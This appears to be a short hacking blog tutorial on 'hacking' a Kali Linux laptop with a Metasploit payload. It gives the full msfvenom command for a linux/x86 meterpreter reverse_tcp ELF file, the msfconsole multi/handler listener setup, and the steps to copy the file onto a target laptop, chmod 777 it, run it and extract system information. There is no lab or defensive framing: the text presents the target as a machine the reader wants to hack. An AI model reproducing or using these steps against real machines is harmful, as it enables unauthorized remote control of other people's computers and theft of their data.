Today I will tell you how you can hack Kali Linux by inserting a virus.
File – Creating a Virus.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=(YOUR IP) lport=(YOUR PORT) -f elf R > (YOUR VIRUS NAME.elf)
First of all, you have to open a terminal and then create a virus whose commands will be found in the section of the command. While creating the virus, you have to enter your IP in Lhost and enter any port of yours in Lport. After all this, you have to give the name of your virus in the last, which should be in the format of (.elf). And then press enter.
service postgresql start
You can see that my virus has been successfully created and its size has also been shown here. Now we have to start some services, whose command will be found in the section of the command.
File – Start the Tool.
After this process, to control the virus, you have to use a tool named msfconsole. You can start the tool by putting the name of the tool in the terminal, as shown in the photo.
You can see that my tool has started successfully, now I have to fill my details so that I can control my virus.
File – Fill the Virus Info.
1. use exploit/multi/handler 2. set linux/x86/meterpreter/reverse_tcp 3. set lhost (YOUR IP) 4. set lport (YOUR PORT) 5. exploit
To control the virus, you have to write some commands that you will find in the section of the command, here you have to enter your IP in Lhost and the port you gave while creating the virus in Lport. And then you have to press the enter button by typing exploit.
After this, you have to put the virus created in your laptop that you want to hack.
File – Permission the Virus.
1. chmod 777 (YOUR VIRUS NAME) 2. ./(YOUR VIRUS NAME)
After inserting the virus into the laptop, you will have to give some permissions to it, whose command will be found in the command section of the command, after this you can start your virus by entering (./YOUR VIRUS NAME). One thing that you should keep in mind is that this virus should not stop until your work is done.
You can see that after starting my virus, my tool has connected me to the virus, now I can access anything from the laptop.
You can see the information on my laptop. In which I have inserted the virus, you can extract all the information of the laptop with the (sysinfo) command. Hack Kali Linux And Access.
Thanks to all of you guys for reading my blog.